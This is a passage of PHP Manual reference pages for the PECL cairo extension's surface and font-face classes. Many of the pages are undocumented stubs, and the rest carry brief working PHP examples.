  • The setFallbackResolution purpose

CairoSurface::setFallbackResolution

(PECL cairo >= 0.1.0)

CairoSurface::setFallbackResolution — The setFallbackResolution purpose

Description

public void CairoSurface::setFallbackResolution ( string $x , string $y )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::setFallbackResolution() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The showPage purpose

  • « CairoSurface::setFallbackResolution
  • CairoSurface::status »
  • PHP Manual
  • CairoSurface
  • The showPage purpose

CairoSurface::showPage

cairo_show_page

(PECL cairo >= 0.1.0)

CairoSurface::showPage -- cairo_show_page — The showPage purpose

Description

Object oriented style (method):

public void CairoSurface::showPage ( void )

Procedural style:

void cairo_show_page ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The status purpose

  • « CairoSurface::showPage
  • CairoSurface::writeToPng »
  • PHP Manual
  • CairoSurface
  • The status purpose

CairoSurface::status

cairo_status

(PECL cairo >= 0.1.0)

CairoSurface::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoSurface::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The writeToPng purpose

  • « CairoSurface::status
  • CairoSvgSurface »
  • PHP Manual
  • CairoSurface
  • The writeToPng purpose

CairoSurface::writeToPng

(PECL cairo >= 0.1.0)

CairoSurface::writeToPng — The writeToPng purpose

Description

public void CairoSurface::writeToPng ( string $file )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::writeToPng() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Svg Surface Backend

(PECL cairo >= 0.1.0)

Introduction

Svg specific surface class, uses the SVG (standard vector graphics) surface backend.

Class synopsis

CairoSvgSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public static array getVersions ( void )
public void restrictToVersion ( string $version )
public static string versionToString ( int $version )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoSvgSurface::__construct — The __construct purpose
  • CairoSvgSurface::getVersions — Used to retrieve a list of supported SVG versions
  • CairoSvgSurface::restrictToVersion — The restrictToVersion purpose
  • CairoSvgSurface::versionToString — The versionToString purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoSvgSurface
  • CairoSvgSurface::getVersions »
  • PHP Manual
  • CairoSvgSurface
  • The __construct purpose

CairoSvgSurface::__construct

(PECL cairo >= 0.1.0)

CairoSvgSurface::__construct — The __construct purpose

Description

public CairoSvgSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Used to retrieve a list of supported SVG versions

  • « CairoSvgSurface::__construct
  • CairoSvgSurface::restrictToVersion »
  • PHP Manual
  • CairoSvgSurface
  • Used to retrieve a list of supported SVG versions

CairoSvgSurface::getVersions

cairo_svg_surface_get_versions

(PECL cairo >= 0.1.0)

CairoSvgSurface::getVersions -- cairo_svg_surface_get_versions — Used to retrieve a list of supported SVG versions

Description

Object oriented style (method):

public static array CairoSvgSurface::getVersions ( void )

Procedural style:

array cairo_svg_get_versions ( void )

Returns a numerically indexed array of currently available CairoSvgVersion constants. In order to retreive the string values for each item, use CairoSvgSurface::versionToString().

Parameters

This function has no parameters.

Return Values

Returns a numerically indexed array of integer values.

Examples

Example #1 CairoSvgSurface::getVersions() example

<?php
/* Grab our list of versions */
$versions = CairoSvgSurface::getVersions();
var_dump($versions);

/* echo the string name of each version */
foreach($versions as $id) {
    echo CairoSvgSurface::versionToString($id), PHP_EOL;
}
?>

The above example will output something similar to:

array(2) {
  [0]=>
  int(0)
  [1]=>
  int(1)
}
SVG 1.1
SVG 1.2

Example #2 Procedural style

<?php
/* Grab our list of versions */
$versions = cairo_svg_surface_get_versions();
var_dump($versions);

/* echo the string name of each version */
foreach($versions as $id) {
    echo cairo_svg_surface_version_to_string($id), PHP_EOL;
}
?>

The above example will output something similar to:

array(2) {
  [0]=>
  int(0)
  [1]=>
  int(1)
}
SVG 1.1
SVG 1.2

See Also

  • CairoSvgSurface::versionToString() - The versionToString purpose

User Contributed Notes

There are no user contributed notes for this page.


The restrictToVersion purpose

  • « CairoSvgSurface::getVersions
  • CairoSvgSurface::versionToString »
  • PHP Manual
  • CairoSvgSurface
  • The restrictToVersion purpose

CairoSvgSurface::restrictToVersion

(PECL cairo >= 0.1.0)

CairoSvgSurface::restrictToVersion — The restrictToVersion purpose

Description

public void CairoSvgSurface::restrictToVersion ( string $version )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::restrictToVersion() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The versionToString purpose

  • « CairoSvgSurface::restrictToVersion
  • CairoImageSurface »
  • PHP Manual
  • CairoSvgSurface
  • The versionToString purpose

CairoSvgSurface::versionToString

(PECL cairo >= 0.1.0)

CairoSvgSurface::versionToString — The versionToString purpose

Description

public static string CairoSvgSurface::versionToString ( int $version )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::versionToString() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoImageSurface class

(PECL cairo >= 0.1.0)

Introduction

CairoImageSurface provide the ability to render to memory buffers either allocated by cairo or by the calling code. The supported image formats are those defined in CairoFormat.

Class synopsis

CairoImageSurface extends CairoSurface {
/* Methods */
public __construct ( int $format , int $width , int $height )
public static void createForData ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )
public static CairoImageSurface createFromPng ( string $file )
public string getData ( void )
public int getFormat ( void )
public int getHeight ( void )
public int getStride ( void )
public int getWidth ( void )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoImageSurface::__construct — Creates a new CairoImageSurface
  • CairoImageSurface::createForData — The createForData purpose
  • CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file
  • CairoImageSurface::getData — Gets the image data as string
  • CairoImageSurface::getFormat — Get the image format
  • CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface
  • CairoImageSurface::getStride — The getStride purpose
  • CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


Creates a new CairoImageSurface

  • « CairoImageSurface
  • CairoImageSurface::createForData »
  • PHP Manual
  • CairoImageSurface
  • Creates a new CairoImageSurface

CairoImageSurface::__construct

(PECL cairo >= 0.1.0)

CairoImageSurface::__construct — Creates a new CairoImageSurface

Description

public CairoImageSurface::__construct ( int $format , int $width , int $height )

Creates a new CairoImageSuface object of type format

Parameters

format

Can be any defined in CairoFormat

width

The width of the image surface

height

The height of the image surface

Return Values

A new CairoImageSurface

Examples

Example #1 CairoImageSurface::__construct() example

<?php

// Creates a image with ARGB32 format of 50 width and 50 height
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50,50);

?>

See Also

  • CairoContext::__construct() - Creates a new CairoContext

User Contributed Notes

There are no user contributed notes for this page.


The createForData purpose

  • « CairoImageSurface::__construct
  • CairoImageSurface::createFromPng »
  • PHP Manual
  • CairoImageSurface
  • The createForData purpose

CairoImageSurface::createForData

(PECL cairo >= 0.1.0)

CairoImageSurface::createForData — The createForData purpose

Description

public static void CairoImageSurface::createForData ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

Description...

format

Description...

width

Description...

height

Description...

stride

Description...

Return Values

Description...

Examples

Example #1 CairoImageSurface::createForData() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new CairoImageSurface form a png image file

  • « CairoImageSurface::createForData
  • CairoImageSurface::getData »
  • PHP Manual
  • CairoImageSurface
  • Creates a new CairoImageSurface form a png image file

CairoImageSurface::createFromPng

(PECL cairo >= 0.1.0)

CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file

Description

public static CairoImageSurface CairoImageSurface::createFromPng ( string $file )

Creates a new CairoImageSurface form a png image file

This method should be called static

Parameters

file

Path to PNG image file

Return Values

CairoImageSurface object

Examples

Example #1 CairoImageSurface::createFromPng() example

<?php

$surface = CairoImageSurface::createFromPng('/path/to/image/file.png');

?>

The above example will output something similar to:

...

See Also

  • CairoImageSurface::__construct() - Creates a new CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


Gets the image data as string

  • « CairoImageSurface::createFromPng
  • CairoImageSurface::getFormat »
  • PHP Manual
  • CairoImageSurface
  • Gets the image data as string

CairoImageSurface::getData

(PECL cairo >= 0.1.0)

CairoImageSurface::getData — Gets the image data as string

Description

public string CairoImageSurface::getData ( void )

Returns the image data of this surface or NULL if surface is not an image surface, or if CairoContext::finish(), procedural : cairo_surface_finish(), has been called.

Parameters

This function has no parameters.

Return Values

The image data as string

Examples

Example #1 CairoImageSurface::getData() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoImageSurface::getStride() - The getStride purpose

User Contributed Notes

There are no user contributed notes for this page.


Get the image format

  • « CairoImageSurface::getData
  • CairoImageSurface::getHeight »
  • PHP Manual
  • CairoImageSurface
  • Get the image format

CairoImageSurface::getFormat

(PECL cairo >= 0.1.0)

CairoImageSurface::getFormat — Get the image format

Description

public int CairoImageSurface::getFormat ( void )

Retrieves the image format, as one of the CairoFormat defined

Parameters

This function has no parameters.

Return Values

One of the CairoFormat enums

Examples

Example #1 CairoImageSurface::getFormat() example

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

var_dump($surface->getFormat()); // 0

$surface2 = new CairoImageSurface(CairoFormat::A8, 50, 50);

var_dump($surface2->getFormat()); // 2

?>

The above example will output something similar to:

int(0)
int(2)

See Also

  • CairoImageSurface::getHeight() - Retrieves the height of the CairoImageSurface
  • CairoImageSurface::getWidth() - Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the height of the CairoImageSurface

  • « CairoImageSurface::getFormat
  • CairoImageSurface::getStride »
  • PHP Manual
  • CairoImageSurface
  • Retrieves the height of the CairoImageSurface

CairoImageSurface::getHeight

(PECL cairo >= 0.1.0)

CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface

Description

public int CairoImageSurface::getHeight ( void )

This methods returns the CairoImageSurface height.

Parameters

This function has no parameters.

Return Values

CairoImageSurface object height

Examples

Example #1 CairoImageSurface::getHeight() example

<?php
// creates a new image surface
$surface = new CairoImageSurface(CairoFormat::ARGB32, 80, 50);

//gets the height
var_dump($surface->getHeight());

?>

The above example will output something similar to:

int(50)

See Also

  • CairoImageSurface::getWidth() - Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


The getStride purpose

  • « CairoImageSurface::getHeight
  • CairoImageSurface::getWidth »
  • PHP Manual
  • CairoImageSurface
  • The getStride purpose

CairoImageSurface::getStride

(PECL cairo >= 0.1.0)

CairoImageSurface::getStride — The getStride purpose

Description

public int CairoImageSurface::getStride ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoImageSurface::getStride() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the width of the CairoImageSurface

  • « CairoImageSurface::getStride
  • CairoPdfSurface »
  • PHP Manual
  • CairoImageSurface
  • Retrieves the width of the CairoImageSurface

CairoImageSurface::getWidth

(PECL cairo >= 0.1.0)

CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface

Description

public int CairoImageSurface::getWidth ( void )

Gets the width of the CairoImageSurface

Parameters

This function has no parameters.

Return Values

Returns the width of the CairoImageSurface object

Examples

Example #1 CairoImageSurface::getWidth() example

<?php
// creates a new image surface
$surface = new CairoImageSurface(CairoFormat::ARGB32, 80, 50);

//gets the width
var_dump($surface->getWidth());

?>

The above example will output something similar to:

int(80)

See Also

  • CairoImageSurface::getHeight() - Retrieves the height of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


The CairoPdfSurface class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoPdfSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public void setSize ( string $width , string $height )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoPdfSurface::__construct — The __construct purpose
  • CairoPdfSurface::setSize — The setSize purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoPdfSurface
  • CairoPdfSurface::setSize »
  • PHP Manual
  • CairoPdfSurface
  • The __construct purpose

CairoPdfSurface::__construct

(PECL cairo >= 0.1.0)

CairoPdfSurface::__construct — The __construct purpose

Description

public CairoPdfSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPdfSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

chickenSandwich 12-Apr-2012 05:40
public CairoPdfSurface::__construct ( string $file , float $width , float $height )

Parameters:

$file
  The file path to the pdf document.

$width
  The width in pixels of the pdf document.

$height
  The height in pixels of the pdf document.

I would have updated the actual documentation if it wasn't such a pain in the butt.


The setSize purpose

  • « CairoPdfSurface::__construct
  • CairoPsSurface »
  • PHP Manual
  • CairoPdfSurface
  • The setSize purpose

CairoPdfSurface::setSize

(PECL cairo >= 0.1.0)

CairoPdfSurface::setSize — The setSize purpose

Description

public void CairoPdfSurface::setSize ( string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPdfSurface::setSize() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoPsSurface class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoPsSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public void dscBeginPageSetup ( void )
public void dscBeginSetup ( void )
public void dscComment ( string $comment )
public bool getEps ( void )
public static array getLevels ( void )
public static string levelToString ( int $level )
public void restrictToLevel ( string $level )
public void setEps ( string $level )
public void setSize ( string $width , string $height )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoPsSurface::__construct — The __construct purpose
  • CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose
  • CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose
  • CairoPsSurface::dscComment — The dscComment purpose
  • CairoPsSurface::getEps — The getEps purpose
  • CairoPsSurface::getLevels — The getLevels purpose
  • CairoPsSurface::levelToString — The levelToString purpose
  • CairoPsSurface::restrictToLevel — The restrictToLevel purpose
  • CairoPsSurface::setEps — The setEps purpose
  • CairoPsSurface::setSize — The setSize purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoPsSurface
  • CairoPsSurface::dscBeginPageSetup »
  • PHP Manual
  • CairoPsSurface
  • The __construct purpose

CairoPsSurface::__construct

(PECL cairo >= 0.1.0)

CairoPsSurface::__construct — The __construct purpose

Description

public CairoPsSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The dscBeginPageSetup purpose

  • « CairoPsSurface::__construct
  • CairoPsSurface::dscBeginSetup »
  • PHP Manual
  • CairoPsSurface
  • The dscBeginPageSetup purpose

CairoPsSurface::dscBeginPageSetup

(PECL cairo >= 0.1.0)

CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose

Description

public void CairoPsSurface::dscBeginPageSetup ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscBeginPageSetup() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The dscBeginSetup purpose

  • « CairoPsSurface::dscBeginPageSetup
  • CairoPsSurface::dscComment »
  • PHP Manual
  • CairoPsSurface
  • The dscBeginSetup purpose

CairoPsSurface::dscBeginSetup

(PECL cairo >= 0.1.0)

CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose

Description

public void CairoPsSurface::dscBeginSetup ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscBeginSetup() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The dscComment purpose

  • « CairoPsSurface::dscBeginSetup
  • CairoPsSurface::getEps »
  • PHP Manual
  • CairoPsSurface
  • The dscComment purpose

CairoPsSurface::dscComment

(PECL cairo >= 0.1.0)

CairoPsSurface::dscComment — The dscComment purpose

Description

public void CairoPsSurface::dscComment ( string $comment )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

comment

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscComment() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getEps purpose

  • « CairoPsSurface::dscComment
  • CairoPsSurface::getLevels »
  • PHP Manual
  • CairoPsSurface
  • The getEps purpose

CairoPsSurface::getEps

(PECL cairo >= 0.1.0)

CairoPsSurface::getEps — The getEps purpose

Description

public bool CairoPsSurface::getEps ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::getEps() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getLevels purpose

  • « CairoPsSurface::getEps
  • CairoPsSurface::levelToString »
  • PHP Manual
  • CairoPsSurface
  • The getLevels purpose

CairoPsSurface::getLevels

(PECL cairo >= 0.1.0)

CairoPsSurface::getLevels — The getLevels purpose

Description

public static array CairoPsSurface::getLevels ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::getLevels() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The levelToString purpose

  • « CairoPsSurface::getLevels
  • CairoPsSurface::restrictToLevel »
  • PHP Manual
  • CairoPsSurface
  • The levelToString purpose

CairoPsSurface::levelToString

(PECL cairo >= 0.1.0)

CairoPsSurface::levelToString — The levelToString purpose

Description

public static string CairoPsSurface::levelToString ( int $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::levelToString() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The restrictToLevel purpose

  • « CairoPsSurface::levelToString
  • CairoPsSurface::setEps »
  • PHP Manual
  • CairoPsSurface
  • The restrictToLevel purpose

CairoPsSurface::restrictToLevel

(PECL cairo >= 0.1.0)

CairoPsSurface::restrictToLevel — The restrictToLevel purpose

Description

public void CairoPsSurface::restrictToLevel ( string $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::restrictToLevel() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setEps purpose

  • « CairoPsSurface::restrictToLevel
  • CairoPsSurface::setSize »
  • PHP Manual
  • CairoPsSurface
  • The setEps purpose

CairoPsSurface::setEps

(PECL cairo >= 0.1.0)

CairoPsSurface::setEps — The setEps purpose

Description

public void CairoPsSurface::setEps ( string $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::setEps() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSize purpose

  • « CairoPsSurface::setEps
  • CairoSurfaceType »
  • PHP Manual
  • CairoPsSurface
  • The setSize purpose

CairoPsSurface::setSize

(PECL cairo >= 0.1.0)

CairoPsSurface::setSize — The setSize purpose

Description

public void CairoPsSurface::setSize ( string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::setSize() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoSurfaceType class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoSurfaceType {
/* Constants */
const integer IMAGE = 0 ;
const integer PDF = 1 ;
const integer PS = 2 ;
const integer XLIB = 3 ;
const integer XCB = 4 ;
const integer GLITZ = 5 ;
const integer QUARTZ = 6 ;
const integer WIN32 = 7 ;
const integer BEOS = 8 ;
const integer DIRECTFB = 9 ;
const integer SVG = 10 ;
const integer OS2 = 11 ;
const integer WIN32_PRINTING = 12 ;
const integer QUARTZ_IMAGE = 13 ;
}

Predefined Constants

CairoSurfaceType::IMAGE

Description here...

CairoSurfaceType::PDF

Description here...

CairoSurfaceType::PS

Description here...

CairoSurfaceType::XLIB

Description here...

CairoSurfaceType::XCB

Description here...

CairoSurfaceType::GLITZ

Description here...

CairoSurfaceType::QUARTZ

Description here...

CairoSurfaceType::WIN32

Description here...

CairoSurfaceType::BEOS

Description here...

CairoSurfaceType::DIRECTFB

Description here...

CairoSurfaceType::SVG

Description here...

CairoSurfaceType::OS2

Description here...

CairoSurfaceType::WIN32_PRINTING

Description here...

CairoSurfaceType::QUARTZ_IMAGE

Description here...

User Contributed Notes

There are no user contributed notes for this page.


The CairoFontFace class

(PECL cairo >= 0.1.0)

Introduction

CairoFontFace abstract class represents a particular font at a particular weight, slant, and other characteristic but no transformation or size.

Note: This class can not be instantiated directly, it is created by CairoContext::getFontFace() or cairo_scaled_font_get_font_face().

Class synopsis

CairoFontFace {
/* Methods */
public __construct ( void )
public int getType ( void )
public int status ( void )
}

Table of Contents

  • CairoFontFace::__construct — Creates a new CairoFontFace object
  • CairoFontFace::getType — Retrieves the font face type
  • CairoFontFace::status — Check for CairoFontFace errors

User Contributed Notes

There are no user contributed notes for this page.


Creates a new CairoFontFace object

  • « CairoFontFace
  • CairoFontFace::getType »
  • PHP Manual
  • CairoFontFace
  • Creates a new CairoFontFace object

CairoFontFace::__construct

(PECL cairo >= 0.1.0)

CairoFontFace::__construct — Creates a new CairoFontFace object

Description

public CairoFontFace::__construct ( void )

CairoFontFace class represents a particular font at a particular weight, slant, and other characteristic but no transformation or size.

Note: This class can't be instantiated directly it is created by CairoContext::getFontFace() or cairo_scaled_font_get_font_face()

Parameters

This function has no parameters.

Return Values

CairoFontFace

Examples

Example #1 CairoFontFace::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Class::Method()

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the font face type

  • « CairoFontFace::__construct
  • CairoFontFace::status »
  • PHP Manual
  • CairoFontFace
  • Retrieves the font face type

CairoFontFace::getType

(PECL cairo >= 0.1.0)

CairoFontFace::getType — Retrieves the font face type

Description

public int CairoFontFace::getType ( void )

This function returns the type of the backend used to create a font face. See CairoFontType class constants for available types.

Parameters

This function has no parameters.

Return Values

A font type that can be any one defined in CairoFontType

Examples

Example #1 CairoFontFace::getType() example

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face type
var_dump($fontface->getType());

?>

The above example will output something similar to:

int(0)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Check for CairoFontFace errors

  • « CairoFontFace::getType
  • CairoFontOptions »
  • PHP Manual
  • CairoFontFace
  • Check for CairoFontFace errors

CairoFontFace::status

cairo_font_face_status

(PECL cairo >= 0.1.0)

CairoFontFace::status -- cairo_font_face_status — Check for CairoFontFace errors

Description

Object oriented style (method):

public int CairoFontFace::status ( void )

Procedural style:

int cairo_font_face_status ( CairoFontFace $fontface )

Checks whether an error has previously occurred for this font face

Parameters

fontface

A valid CairoFontFace object

Return Values

CAIRO_STATUS_SUCCESS or another error such as CAIRO_STATUS_NO_MEMORY.

Examples

Example #1 Object oriented style

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face status
var_dump($fontface->status()); // should be the value of CAIRO_STATUS_SUCCESS

?>

The above example will output something similar to:

int(0)

Example #2 Procedural style

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face status
var_dump(cairo_font_face_status($fontface)); // should be the value of CAIRO_STATUS_SUCCESS

?>

The above example will output something similar to:

int(0)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoFontOptions class

(PECL cairo >= 0.1.0)

Introduction

An opaque structure holding all options that are used when rendering fonts.

Individual features of a cairo_font_options_t can be set or accessed using functions named cairo_font_options_set_feature_name and cairo_font_options_get_feature_name, like cairo_font_options_set_antialias() and cairo_font_options_get_antialias().

New features may be added to CairoFontOptions in the future. For this reason CairoFontOptions::copy(), CairoFontOptions::equal(), CairoFontOptions::merge(), CairoFontOptions::hash() (cairo_font_options_copy(), cairo_font_options_equal(), cairo_font_options_merge(), and cairo_font_options_hash() in procedural way) should be used to copy, check for equality, merge, or compute a hash value of CairoFontOptions objects.

Class synopsis

CairoFontOptions {
/* Methods */
public __construct ( void )
public bool equal ( string $other )
public int getAntialias ( void )
